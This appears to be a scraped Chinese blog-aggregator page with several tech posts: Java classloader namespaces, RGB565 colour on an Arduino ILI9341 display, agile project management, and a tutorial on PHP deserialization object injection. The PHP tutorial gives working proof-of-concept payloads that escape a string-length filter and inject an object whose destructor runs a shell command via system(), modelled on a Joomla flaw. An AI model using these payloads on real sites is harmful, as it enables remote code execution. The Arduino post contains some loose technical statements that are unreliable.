關閉綁定跟蹤。（以後日常開發中如果只需要查詢的也可以這樣做） 4.SXSSFWorkbook 導出大數據 臨時文件夾所在的硬盤不能太小 因為會生成大於excel本身的緩存文件！     最後導出完畢 用時：  本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

※USB CONNECTOR掌控什麼技術要點? 帶您認識其相關發展及效能

※評比前十大台北網頁設計、台北網站設計公司知名案例作品心得分享

※智慧手機時代的來臨，RWD網頁設計已成為網頁設計推薦首選

PHP字符逃逸導致的對象注入

發佈日期: 作者:

1.漏洞產生原因：

序列化的字符串在經過過濾函數不正確的處理而導致對象注入，目前看到都是因為過濾函數放在了serialize函數之後，要是放在序列化之前應該就不會產生這個問題

?php
function filter($string){
  $a = str_replace('x','zz',$string);
   return $a;
}

$username = "tr1ple";
$password = "aaaaax";
$user = array($username, $password);

echo(serialize($user));
echo "\n";

$r = filter(serialize($user));

echo($r);
echo "\n";

var_dump(unserialize($r));
$a='a:2:{i:0;s:6:"tr1ple";i:1;s:5:"aaaaa";}i:1;s:5:"aaaaa";';
var_dump(unserialize($a));

php特性：

1.PHP 在反序列化時，底層代碼是以 ; 作為字段的分隔，以 } 作為結尾(字符串除外)，並且是根據長度判斷內容的
2.對類中不存在的屬性也會進行反序列化

以上代碼就明顯存在一個問題，即從序列化后的字符串中明顯可以看到經過filter函數以後s:6對應的字符串明顯變長了

並且如果對於a:2:{i:0;s:6:”tr1ple”;i:1;s:5:”aaaaa”;}i:1;s:5:”aaaaa”; 這種字符串而言，也能夠正常反序列化，說明php在反序列化的時候只要求一個反序列化字符串塊合法即可，當然得是第一個字符串塊

以以上代碼為例，如果能夠利用filter函數這種由一個字符變為兩個字符的特性來注入想要反序列化后得到的屬性，使其可以逃逸出更多可用的字符串，那麼我們就能反序列化得到我們想要的屬性

比如此時我們想要讓反序列化后第二個字符串為123456，此時我們的payload如果和之前的username長度為a，則filter處理以後可能username就會變成a，此時我們的payload變成了新的注入的屬性，此時反序列化后就會得到我們想要的結果，比如a:2:{i:0;s:6:”tr1ple”;i:1;s:6:”123456″;}是我們想要達到的效果，此時我們想要注入的payload明顯為：

";i:1;s:6:"123456";}

 

可以得到其長度為20

此時我們已經知道過濾的規則為x->yy，即注入一個x可以逃逸出一個字符的空位，那麼我們只需要注入20個x即可變成40個y，即可逃逸出20個空位，從而將我們的payload變為反序列化后得到的屬性值

$username = 'tr1plexxxxxxxxxxxxxxxxxxxx";i:1;s:6:"123456";}'; //其中紅色就是我們想要注入的屬性值 
$password="aaaaa";
$user = array($username, $password);
echo(serialize($user));
echo "\n";

$r = filter(serialize($user));

echo($r);
echo "\n";
var_dump(unserialize($r));

 可以看到此時注入屬性成功，反序列化后得到的屬性即為123456

2.實例分析

joomla3.0.0-3.4.6 對象注入導致的反序列化,以下為參考別人的簡易化核心漏洞代碼

<?php
class evil{
    public $cmd;

    public function __construct($cmd){
        $this->cmd = $cmd;
    }

    public function __destruct(){
        system($this->cmd);
    }
}

class User
{
    public $username;
    public $password;

    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }

}

function write($data){
    $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
    file_put_contents("dbs.txt", $data);
}

function read(){
    $data = file_get_contents("dbs.txt");
    $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
    return $r;
}

if(file_exists("dbs.txt")){
    unlink("dbs.txt");  
}

$username = "tr1ple";
$password = "A";
$payload = '";s:8:"password";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}'; write(serialize(new User($username, $password))); var_dump(unserialize(read()));

在這裏如果想要通過注入對象來實現反序列化則必須在外部對象內進行注入存在的屬性，不能在其外部，否則php將不會進行我們注入惡意對象的反序列化

例如此時因為反序列化讀取的時候將會將六位字符\0\0\0替換成三位字符chr(0)*chr(0),因此字符串前面的s肯定是固定的，那麼s對應的字符串變少以後將會吞掉其他屬性的字符，那麼如果我們精心算好吞掉的字符長度，並且能夠控制被吞掉屬性的內容，那麼就能夠注入對象，從而反序列化其他類

比如如上所示，此時我們要注入的對象為evil，此時username和password的值我們可控，那麼我們可以在username中注入\0，來吞掉password的值，比如

<?php
$a='\0\0\0';
echo strlen($a);
$b=str_replace('\0\0\0', chr(0).'*'.chr(0), $a);
echo strlen($b);

 所以此時首先確定我們要吞掉的字符的長度

O:4:”User”:2:{s:8:”username”;s:6:”tr1ple”;s:8:”password”;s:4:”1234″;}

正常情況下我們要吞掉 “;s:8:”password”;s:4:” 為22位

但是因為注入的對象payload也在password字段，並且長度肯定是>=10的，因此s肯定是兩位數，因此這裏為22+1=23位字符

因為是6->3，因此每次添加一組\0\0\0能多吞掉3個字符，因此需要肯定都是3的倍數

因此我們假如這裏構造username為\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0 

 

 則經過read函數處理后長度將變為24

 即此時能夠多吞掉24個字符，為了不讓其吞掉payload，我們可以填充1位字符A，即令password的值為A+payload即可

<?php
class evil{
    public $cmd;

    public function __construct($cmd){
        $this->cmd = $cmd;
    }

    public function __destruct(){
        system($this->cmd);
    }
}

class User
{
    public $username;
    public $password;

    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }

}

function write($data){
    $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
    file_put_contents("dbs.txt", $data);
}

function read(){
    $data = file_get_contents("dbs.txt");
    $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
    return $r;
}

if(file_exists("dbs.txt")){
    unlink("dbs.txt");  
}

$username = "\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0";
$password = "A";
$payload = '";s:8:"password";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}'; $shellcode=$password.$payload; write(serialize(new User($username, $password))); var_dump(unserialize(read()));

 執行結果如上圖所示，將成功反序列化password屬性所對應的值，其值即為我們注入的對象，整個過程也容易理解，就是吞掉後面的屬性來注入屬性，那麼達到攻擊有以下要求：

1.相鄰兩個屬性的值是我們可以控制的

2.前一個屬性的s長度可以發生變化，變長變短都可以，變短的話可以吞掉後面相鄰屬性的值，然後在相鄰屬性中注入新的對象，如果邊長則可以直接在該屬性中注入對象來達到反序列化

 比如XNUCA2018 hardphp就考察了一個這個相關的trick

 

 這裏就出現了用前面的data在反序列化時向後吞一位字符，從而可以導致吞掉後面的普通用戶的username字段，而在username字段可以放上我們想要偽造的username，從而達到偽造session的目的

 參考：

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

※台北網頁設計公司這麼多，該如何挑選?? 網頁設計報價省錢懶人包"嚨底家"

※網頁設計公司推薦更多不同的設計風格，搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

類加載器 – 命名空間

發佈日期: 作者:

本博客將沿用中展示的自定義類加載器代碼

複雜類加載情況分析

測試代碼一

首先，新建一個類Test14，重寫默認的構造方法，打印加載該類的類加載器

public class Test14 {
    public Test14() {
        System.out.println("Test14 is loaded by:" + this.getClass().getClassLoader());
    }
}

然後，在新建一個類Test15，同樣重寫默認的構造方法，打印加載該類的類加載器，在構造方法中new出Test14的實例

public class Test15 {
    public Test15() {
        System.out.println("Test15 is loaded by:" + this.getClass().getClassLoader());

        new Test14();
    }
}

測試代碼

public class Test16 {
    public static void main(String[] args) throws Exception {
        test01();
    }

    private static void test01 () throws Exception {
        ClassLoaderTest classLoader = new ClassLoaderTest("classLoader");
        Class<?> clazz = classLoader.loadClass("classloader.Test15");
        System.out.println("class:" + clazz);
        Object object = clazz.newInstance();
    }
}

猜測一下，首先自定義類加載器classLoader通過反射獲取Test15的Class對象，屬於主動使用，會加載Test15，classLoader委託它的父加載器AppClassLoader加載Test15；然後我們通過clazz.newInstance();代碼獲取Test15的實例，調用Test15的構造方法，在Test15的構造方法中創建了Test14的實例，所以同樣加載了Test14，並調用了Test14的構造方法。加上-XX:+TraceClassLoading指令執行代碼，發現運行結果和我們想的是一樣的。

......
[Loaded classloader.Test15 from file:/home/fanxuan/Study/java/jvmStudy/out/production/jvmStudy/]
class:class classloader.Test15
Test15 is loaded by:sun.misc.Launcher$AppClassLoader@18b4aac2
[Loaded classloader.Test14 from file:/home/fanxuan/Study/java/jvmStudy/out/production/jvmStudy/]
Test14 is loaded by:sun.misc.Launcher$AppClassLoader@18b4aac2
......

測試代碼二

在上篇博客中，自定義類加載器ClassLoaderTest是有一個path屬性可以自定義類的加載路徑的，我們同樣測試一下，我們將Test14和Test15的class文件放到桌面的classloader文件夾下，然後刪除工程路徑下的class文件，執行一下的測試代碼

public class Test16 {
    public static void main(String[] args) throws Exception {
        test02();
    }
    private static void test02 () throws Exception {
        ClassLoaderTest classLoader = new ClassLoaderTest("classLoader");
        classLoader.setPath("/home/fanxuan/桌面/");
        Class<?> clazz = classLoader.loadClass("classloader.Test15");
        System.out.println("class:" + clazz);
        Object object = clazz.newInstance();
    }
}

按照上節的結果，應該都是ClassLoaderTest加載器加載了Test14和Test15類

class:class classloader.Test15
Test15 is loaded by:classloader.ClassLoaderTest@6d6f6e28
Test14 is loaded by:classloader.ClassLoaderTest@6d6f6e28

接下來，我們重新編譯項目，刪除掉工程目錄下的Test14的calss文件，再次執行代碼

class:class classloader.Test15
Test15 is loaded by:sun.misc.Launcher$AppClassLoader@18b4aac2
Exception in thread "main" java.lang.NoClassDefFoundError: classloader/Test14
    at classloader.Test15.<init>(Test15.java:11)
    at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method)
    at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:62)
    at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)
    at java.lang.reflect.Constructor.newInstance(Constructor.java:423)
    at java.lang.Class.newInstance(Class.java:442)
    at classloader.Test16.test02(Test16.java:25)
    at classloader.Test16.main(Test16.java:9)
Caused by: java.lang.ClassNotFoundException: classloader.Test14
    at java.net.URLClassLoader.findClass(URLClassLoader.java:381)
    at java.lang.ClassLoader.loadClass(ClassLoader.java:424)
    at sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:338)
    at java.lang.ClassLoader.loadClass(ClassLoader.java:357)
    ... 8 more

我們發現結果報錯了，按照我們正常的思維，自定義記載器classLoader委託父加載器AppClassLoader加載Test15，從打印結果可以看出Test15加載成功了，然後創建Test15的實例，加載Test14，因為工程目錄下缺少Test14的class文件，所以AppClassLoader無法加載到Test14，由自定義加載器classLoader自身從桌面加載Test14。但是我們發現加載Test14的報了ClassNotFoundException的錯誤，這是因為在Test15中記載Test14的時候，是以Test15的類加載器AppClassLoader來加載的，AppClassLoader加載不到Test14，它的父加載器擴展類加載器同樣加載不到，擴展類加載器的父加載器啟動類加載器也加載不到，所以報錯ClassNotFoundException。

然後，再重新編譯項目，刪除掉工程目錄下的Test15的calss文件，再次執行代碼。根據前文分析的代碼，我們可以很清晰的得出結論：由自定義記載器classLoader加載了Test15，由系統類記載器AppClassLoader加載了Test14。

class:class classloader.Test15
Test15 is loaded by:classloader.ClassLoaderTest@6d6f6e28
Test14 is loaded by:sun.misc.Launcher$AppClassLoader@18b4aac2

測試代碼三

簡單修改下Test14類，在Test14的構造方法中引用Test15的Class對象。

public class Test14 {
    public Test14() {
        System.out.println("Test14 is loaded by:" + this.getClass().getClassLoader());

        System.out.println("Test14:" + Test15.class);
    }
}

執行測試代碼二中的測試代碼Test16，結果如下，沒有任何問題。

class:class classloader.Test15
Test15 is loaded by:sun.misc.Launcher$AppClassLoader@18b4aac2
Test14 is loaded by:sun.misc.Launcher$AppClassLoader@18b4aac2
Test14:class classloader.Test15

我們同樣重新編譯項目，刪除掉工程目錄下的Test15的calss文件，再次執行代碼。

class:class classloader.Test15
Test15 is loaded by:classloader.ClassLoaderTest@6d6f6e28
Test14 is loaded by:sun.misc.Launcher$AppClassLoader@18b4aac2
Exception in thread "main" java.lang.NoClassDefFoundError: classloader/Test15
    at classloader.Test14.<init>(Test14.java:11)
    at classloader.Test15.<init>(Test15.java:11)
    at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method)
    at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:62)
    at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)
    at java.lang.reflect.Constructor.newInstance(Constructor.java:423)
    at java.lang.Class.newInstance(Class.java:442)
    at classloader.Test16.test02(Test16.java:25)
    at classloader.Test16.main(Test16.java:9)
Caused by: java.lang.ClassNotFoundException: classloader.Test15
    at java.net.URLClassLoader.findClass(URLClassLoader.java:381)
    at java.lang.ClassLoader.loadClass(ClassLoader.java:424)
    at sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:338)
    at java.lang.ClassLoader.loadClass(ClassLoader.java:357)
    ... 9 more

我們發現加載已經完成了，但是程序還是報錯了，是我們剛剛加的System.out.println("Test14:" + Test15.class);代碼報的錯，依然是ClassNotFoundException錯誤。

分析：
Test15由自定義記載器classLoader加載，Test14由系統類記載器AppClassLoader加載。導致程序報錯的是因為命名空間的問題，我們在上一篇博客的結尾簡單介紹了命名空間：每個類加載器都有自己的命名空間，命名空間由該加載器及所有的父加載器所加載的類組成。子加載器所加載的類可以看見父加載器加載的類，但是父加載器所加載的類無法看見子加載器加載的類。Test14是由AppClassLoader加載的，在AppClassLoader的命名空間中沒有Test15的，所以程序報錯了。

命名空間實例分析

測試代碼

新建Entity類用於測試

public class Entity {
    private Entity entity;

    public void setEntity(Object entity) {
        this.entity = (Entity)entity;
    }
}

編寫測試代碼

public class Test17 {
    public static void main(String[] args) throws Exception {
        ClassLoaderTest classLoader1 = new ClassLoaderTest("classLoader1");
        ClassLoaderTest classLoader2 = new ClassLoaderTest("classLoader2");

        Class<?> clazz1 = classLoader1.loadClass("classloader.Entity");
        Class<?> clazz2 = classLoader2.loadClass("classloader.Entity");

        System.out.println(clazz1 == clazz2);

        Object object1 = clazz1.newInstance();
        Object object2 = clazz2.newInstance();

        Method method = clazz1.getMethod("setEntity", Object.class);
        method.invoke(object1, object2);
    }
}

運行程序，System.out.println(clazz1 == clazz2);返回結果為true，都是AppClassLoader加載的，classLoader1加載之後會在AppClassLoader的命名空間中形成緩存，classLoader2加載的時候直接返回命名空間已經存在的Class對象，所以clazz1與clazz2相同。

改造下代碼，將Entity類的class文件copy到桌面文件夾下，刪除工程下的class文件，執行如下代碼

public class Test18 {
    public static void main(String[] args) throws Exception {
        ClassLoaderTest classLoader1 = new ClassLoaderTest("classLoader1");
        ClassLoaderTest classLoader2 = new ClassLoaderTest("classLoader2");

        classLoader1.setPath("/home/fanxuan/桌面/");
        classLoader2.setPath("/home/fanxuan/桌面/");

        Class<?> clazz1 = classLoader1.loadClass("classloader.Entity");
        Class<?> clazz2 = classLoader2.loadClass("classloader.Entity");

        System.out.println(clazz1 == clazz2);

        Object object1 = clazz1.newInstance();
        Object object2 = clazz2.newInstance();

        Method method = clazz1.getMethod("setEntity", Object.class);
        method.invoke(object1, object2);
    }
}

根據前文的介紹，不難推斷System.out.println(clazz1 == clazz2);的運行結果為false，classLoader1和classLoader2分別加載了Entity類，就是其自身加載的（定義類加載器），在jvm的內存中形成了完全獨立的兩個命名空間，所以clazz1與clazz2不同。而且因為clazz1和clazz2相互不可見，調用了classLoader1命名空間中的方法，傳入了classLoader2命名空間的對象，導致程序拋出了異常。

false
Exception in thread "main" java.lang.reflect.InvocationTargetException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:498)
    at classloader.Test18.main(Test18.java:26)
Caused by: java.lang.ClassCastException: classloader.Entity cannot be cast to classloader.Entity
    at classloader.Entity.setEntity(Entity.java:11)
    ... 5 more

不同類加載器的命名空間關係

  • 同一命名空間內的類是相互可見的
  • 子加載器的命名空間包含所有父加載器的命名空間，由子加載器所加載的類可以看見父加載器加載的類
  • 由父加載器所加載的類無法看見子加載器加載的類
  • 如果兩個加載器之間沒有任何直接或間接的父子關係，那麼它們各自加載的類相互不可見

父親委託機制的好處

在的2.1章節簡單介紹了一下類加載器的父親委託機制，這裏面來總結一下好處

  • 確保Java核心類庫的安全：所有的Java應用都至少會引用java.lang.Object類，也就是說在運行期，java.lang.Object類會被記載到Java虛擬機當中；如果這個加載過程是由Java應用自己的類加載器所完成的，那麼可能會在JVM中存在多個版本的java.lang.Object類，而且這些類還是不兼容的、相互不可見的（因為命名空間的原因）。藉助父親委託機制，Java核心類庫中的類的加載工作都是由啟動類加載器來統一完成的，從而確保了Java應用所使用的都是同一個版本的Java核心類庫，他們之間是互相兼容的。
  • 確保Java核心類庫提供的類不會被自定義的類所替代。
  • 不同的類加載器可以為相同名稱（binary name）的類創建額外的命名空間。相同名稱的類可以並存在Java虛擬機中，只需要用不同的類加載器來加他們即可，不同類加載器所加載的類是不兼容的，這就相當於在Java虛擬機內部創建了一個又一個相互隔離的Java類空間。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

※想知道網站建置、網站改版該如何進行嗎?將由專業工程師為您規劃客製化網頁設計及後台網頁設計

※不管是台北網頁設計公司、台中網頁設計公司，全省皆有專員為您服務

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

※帶您來看台北網站建置，台北網頁設計，各種案例分享

Arduino驅動ILI9341彩屏（一）——顏色問題

發佈日期: 作者:

 

最近在淘寶的店鋪上淘到了一塊ILI9341的彩色液晶屏，打算研究一下如何使用。

淘寶店鋪購買屏幕之後有附源代碼可供下載，代碼質量慘不忍睹，各種縮進不規範就不說了，先拿來試一下吧。

這是淘寶店鋪代碼的核心部分：

void setup()
{
  Lcd_Init();
 //LCD_Clear(0xf800);
}

void loop()
{  
   LCD_Clear(0xf800);
   LCD_Clear(0x07E0);
   LCD_Clear(0x001F);
  /*   
  for(int i=0;i<1000;i++)
  {
    Rect(random(300),random(300),random(300),random(300),random(65535)); // rectangle at x, y, with, hight, color
  }*/
  
//  LCD_Clear(0xf800);
}

代碼裏面的setup()和loop()是arduino特有的主函數，和普通C程序的main()函數一樣。

setup()函數在開機時只運行一次，運行完之後就開始循環運行loop()函數。

程序先在setup()函數里做了一下初始化操作Lcd_Init()，接着開始連續用不同顏色清屏。

這裏的LCD_Clear()就是清屏函數了，原型如下：

void LCD_Clear(unsigned int j)                   
{    
  unsigned int i,m;
 Address_set(0,0,240,320);
  //Lcd_Write_Com(0x02c); //write_memory_start
  //digitalWrite(LCD_RS,HIGH);
  digitalWrite(LCD_CS,LOW);


  for(i=0;i<240;i++)
    for(m=0;m<320;m++)
    {
      Lcd_Write_Data(j>>8);
      Lcd_Write_Data(j);

    }
  digitalWrite(LCD_CS,HIGH);   
}

縮進不規範就不吐槽了(；へ：)，連變量名都起得亂七八糟，簡直慘不忍睹。稍微重寫了一下函數，長這樣：

void LCD_Clear(unsigned int color){
  Address_set(0,0,240,320);
  digitalWrite(LCD_CS,LOW);
  for(int i=0;i<240;i++){
    for(int m=0;m<320;m++){
      Lcd_Write_Data(color>>8);
      Lcd_Write_Data(color);
    }
  }
  digitalWrite(LCD_CS,HIGH);
}

這個函數先使用Address_set()設置了刷新區域，然後把LCD_CS針腳電壓拉低，之後循環寫入color。

color分兩次寫入，一次寫入高八位(16位整形前面8個bit)，一次寫入低八位。

看上去好像沒什麼問題，但loop()函數中LCD_Clear()卻是直接用十六進制寫入的。

寫一個RGB()函數把RGB顏色轉換成十六進制，不是更人性化嗎？

讀了一遍源代碼，結果真的找到了店家的RGB函數：

int RGB(int r,int g,int b)
{return r << 16 | g << 8 | b;
}

還是不規範的縮進(╯︵╰)。但有總比沒有好，輸出紅色試一下：

void setup()
{
  Lcd_Init();
  LCD_Clear(RGB(255,0,0));
}

void loop()
{  
   //nothing
}

出故障了。

 

 

 

Arduino重啟后，屏幕輸出了黑色！再試着排除一下故障，把RGB(255,0,0)改成RGB(0,255,0)，輸出綠色試試：

 

 

 

 

結果輸出了橙色！

之後我又反覆嘗試了，沒有一次輸出正確的顏色。莫非是這個RGB()函數有問題，淘寶店鋪才用十六進制数字？

再仔細推導了一下：return r << 16 | g << 8 | b;把紅色左移16位，綠色左移8位，藍色不動，所以合成的二進制應該是這樣的：

RRRRRRRRGGGGGGGGBBBBBBBB

R代表紅色位，G代表綠色位，B代表藍色位，每種顏色8位，總共24位。計算了一下可能性：

 

 

 總共1677萬種可能，也就是1677萬種顏色，這就是普通電腦的真彩顏色。但LCD_Clear()函數是這麼寫的：

Lcd_Write_Data(color>>8);
Lcd_Write_Data(color);

總的只能寫入十六個bit，也就是16位，這和24位對不上號啊？

再回頭看了一下，店鋪代碼的setup()函數中有這樣一行白色清屏指令：

//LCD_Clear(0xf800);

0xf800換算成十進制，是63488，有沒有感覺很接近一個數？

沒錯，就是65535，單個16位無符號整數的最大儲存範圍。

16位整型變量，顧名思義就是用16個0和1組成的變量。可以儲存的整數範圍是-32768 ~ 32767，32768 + 32767剛好等於65535，換算到二進制，就是1111111111111111,16個1。

 

這時，真相出現了——這台機器所採用的，是16位顏色，也被成為RGB565顏色模式。

 

早期的16位計算機由於架構的設計，一次只能處理一個16位二進制數。而圖形显示對速度要求特別高，所以一個像素必須要用一個16進制數來表示，也就是16位顏色。

如果用採用24位顏色，就需要兩個16進制數，也就是2Bytes，速度就慢了一半。

而每個像素都是使用紅黃藍三基色來显示的，所以一個16進制數必須分3份，來分別表示紅、黃、藍的數據。

這就出現了一個問題：

16 / 3 = 5.33333

紅黃藍三種顏色平均佔用5.33333個bit。

可bit是計算機存儲的基本單位，要麼是1，要麼是0，不能再分割。必須要有一種顏色多用一個位，才能充分單個利用16進制整數。

人體的綠色視錐細胞比較敏感，正好，那綠色就用6位，紅色藍色就用5位吧。

這就是著名的RGB565模式，總共能存儲65535種顏色。

早期的遊戲都採用這種模式，所以顏色不夠豐富，很有特色：

 

 

 

 這塊ILI9341显示屏模塊（注意不是ILI9341芯片本身）也剛好只有16根數據引腳，所以就採用了這種RGB565的顏色模式。

找到了問題，那就改一下程序吧：

int RGB(int r,int g,int b)
{
  return r << 11 | g << 5 | b;
}

光改RGB()函數還不夠，現在使用了RGB565模式，所以綠色範圍是從0-63，紅色、藍色的範圍是0-31。

所以還得改setup裏面的清屏函數：

void setup()
{
  Lcd_Init();
  LCD_Clear(RGB(0,63,0));
}

重新下載了程序，屏幕成功显示，輸出了正確的綠色！⁄(⁄⁄•⁄ω⁄•⁄⁄)⁄

 

 

 那麼問題來了，開頭店家給的LCD_Clear(0xf800)這條清屏指令，是怎麼來的？畢竟他連RGB565都不知道呢！

這是我提供的一種可能性：

“0xf600試一下?”

“不行，太灰了！”

“那0xf700呢？”

“還是不行！老闆，我們都試了一下午了，肯定是屏幕壞了！”

“加油，還差一點點了，肯定可以的！”

“0xf800好像還行，但是還是有點灰！”

“沒關係，反正買家能點亮屏幕就行，其他的我們不管！”

“……”

所以這家淘寶店鋪根本不知道自己在買什麼。ヽ(￣▽￣)ﾉ

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

※網頁設計公司推薦更多不同的設計風格，搶佔消費者視覺第一線

※廣告預算用在刀口上，網站設計公司幫您達到更多曝光效益

※自行創業 缺乏曝光? 下一步"網站設計"幫您第一時間規劃公司的門面形象

敏捷開發：項目管理的一些思考

發佈日期: 作者:

誤區

之前我沒有項目經驗，在上一家公司的項目管理上，我只是照葫蘆畫瓢。

  1. 產品發起，整個項目沒有項目經理這一說。或者說有，但卻真的感受不到，一丁點也感受不到。

  2. 產品發起會議，或者開發發起會議。無論誰來發起會議，一般都會針對於某一具體需求或者某一具體實現方式。

  3. 沒有具體的任務規劃，任務拆得不夠細緻。這個和開發自身有關係。當然那時的公司確實沒有一些指導性質的模板和導師。

  4. 任務分得不夠細緻，就會導致工期評估差距比較大。

  5. 各種O們的臨時緊急需求，很多O沒有技術背景和項目管理背景。很多時候提出的需求都是發生在項目開始過程中。

    都是很急的需求，不得不重新估算時間和排期。開發為了避免延期風險，就是讓產品排優先級，然後我們根據優先級估時。

    直到有必要的需求都在這個迭代中計劃上。

  6. 沒人全局把控，產品從產品角度，開發從開發角度，業務從業務角度。始終沒有一個最終的協調人。

    產品在對各種O的對話中，氣場和身份不足，導致需求基本是提出就會安排。即便是請出青島總負責人出面溝通，最終的結果一般就是接受。

  7. 之前我們是青島為開發，北京為產品、UI、前端、測試。異地溝通。電話會議是常有的事情，私下的臨時溝通電話更是家常便飯。

    信息同步、開會、理解程度 都會造成溝通上的成本增加。

  8. 緊急需求上線后，三個月沒人反饋。問了才知道，財務提的需求他們沒用過。

  9. 開會一般都會臨時決定，發起人會準備資料，但是其他人提前看資料準備問題的情況極少。導致會議冗長效率低。

解決

現在來看，無論如何，我們在知道這些問題，但是為什麼不去處理呢？應該還是習慣了，即便是整個項目非常掙扎，依然是按老規矩走。大家都是困在了這個圍牆中。

我現在也有了一年的項目管理經驗，初入門道。只是對自己的過往進行一下分析解決。

以上的誤區和問題，我覺得需要一個有經驗並且有點能力的人來帶領這個項目團隊。

1. 確認項目經理

但是按照我上家公司的情況，一般會立經驗豐富的主管直接管理這個項目。

當時的情況是，項目主管在項目上的精力完全不夠，甚至說項目管理在項目主管心中的優先級比較低。

根本原因，青島作為研發中心，技術基因強大。很多技術管理人員，沒有意識到項目管理的重要性。

組織架構主要是垂直單線架構，技術-主管-經理-總監-CTO。無非是自己下面的人多，按照業務或者大項目分了組而已。

如果讓開發作為項目經理，

首先這個開發是否願意承擔項目經理職責？

是否真的能夠賦給項目經理一些實權？

是否有鼓勵機制，比如晉陞優先或者獎金等？

建議：

加強項目管理意識；

加強項目管理能力；

必要的話可以作為量化指標來看；

加入一些激勵機制；

2. 培養主動性

因為技術基因影響。主管或者經理出於“好心”考慮。

他可能會考慮到，如果把項目管理中的某些事情分配給組員，會不會引起反感？會不會影響在組員中的美好形象？

也算是確實分下來一些，比如項目規劃和估時以及排期。但是我沒經驗的，是不是可以稍微引導一下？

領導總想為老好人，但是這樣自己手頭的任務分不下去。

下面的人也得不到成長。

建議

對組員有一定的規劃和成長要求，而不是放任其隨意生長（有一定風險）

領導應該提高自身的管理能力，管理技巧。而不是憑經驗論。

定時關切Review分下去的任務，從結果或者過程提出建議和優化。

3. 確認好需求邊界

產品經理和負責人，確認好需求邊界。飄忽不定的需求給項目的打擊是很大的。

開發在搖搖墜墜中估時，此時的估時肯定會有大量的冗餘，因為之前需求的變動，上線時間一改再改。

在加上，主管、經理偶爾砍幾刀。所以開發在估工時都會冗餘很多。為了被砍，為了需求不定。

建議：

確認好需求，可將項目周期縮短，小版本迭代。

強化項目上線時間約定，鍥約精神。不僅僅是開發要遵守。其他人員最好也能嚴格遵守。（當初這個做起來真的比較困難）

信心是做出來的，幾次項目的延期和需求的變更會嚴重打擊大家的信心和士氣。所以按時上線很重要。

規劃得有，但是是不是可以考刪掉遠在4個月以後的需求。

4. 緊急需求

比如財務的一些緊急需求，其實確實緊急，但是使用頻率很低。

是不是可以有另一種解決方案？不一定非要按照財務提出的那種設想。

我們達到並滿足了他們的目標，後期再去做頁面更加直觀。

比如要一個訂單查看頁面。那我使用程序定時拉取新訂單推送到企業微信或者釘釘。結果也是非常滿意的。

不一定非要做一個頁面，很多時候做成一個頁面，大家會發揮自己的產品意識，增加一些不必要的按鈕、功能和邏輯。

建議

深入了解需求，而不僅僅是一句話，也不是根據用戶提出的需求來做，用戶到底想要什麼？--他就想要有訂單能及時知道。

緊急需求是否真緊急，也得看使用頻率。使用頻率低，是否有其他方式實現。

能擱置的暫且擱置一下，之前就我一個人開發，很多原本緊急的需求因為開發不夠，擱置了也就擱置了。然後甚至有的都自己消失了。

5. 高效開會

會議開始前，大家幾乎么有預習的習慣，會上很多時候沒有主持人，大家就問題會討論很深，導致時間不可控。

有的會能一個電話解決的就沒必要拉這個拉那個來開會。這種儀式感不重要，開會也不是拉家常。

為了讓領導知道這次會議的重要性，這個項目的重要性。拉着領導一起開：

但是領導的事情多，很多時候在會上他們是一直回複信息，其實當時是比較尷尬的，領導不能專心處理問題。我們看着領導沒用心聽，不了解的同事還以為領導漠不關心呢。

建議：

發起人拉群，提前@人提醒大家關注和看會議內容。

發起人做會議：主題、流程、最終結論

確認會議主持人，隨時控制會議進度。有些細節會後溝通。

領導可以不必參加需求討論會，把會上討論的疑難問題，會後單獨和領導會報，再拉一個小會議電話溝通確認即可。

 重要項目啟動會、項目上線等會議盡量簡短，領導全身心參加。保證大家的鬥志，統一思想達成一致。有些形式必須要有的。

6. 相關方

開發與客戶溝通少，因為兩地溝通，基本是產品作為翻譯官將業務轉成需求轉達給開發。

開發沒有感知用戶的存在。

建議

多聽聽用戶怎麼說。

大家達成一致，每月電話會議或者視頻會議溝通一次。會議可以控制在1小時以內，氛圍可以輕鬆，主要是收集需求以及反饋問題。

如果有多個業務部門都是相關方，那麼主要思想就是設置定期溝通（規律的定期溝通）

7. 轉變

優勝劣汰的企業付薪給我們，我們就要服務於這個企業用戶。甚至說服務好用戶。

我們開發也要主動從自身求變。好好說話，真心替我們的用戶思考過問題。

從產品和業務角度認可業務優先級，而不是緊緊盯着開發重構、新技術的應用。

建議

轉變意識：我想為你們服務；

我能力不行，但是我能主動學習項目管理知識和經驗，並在項目中實踐，反思，再實踐。

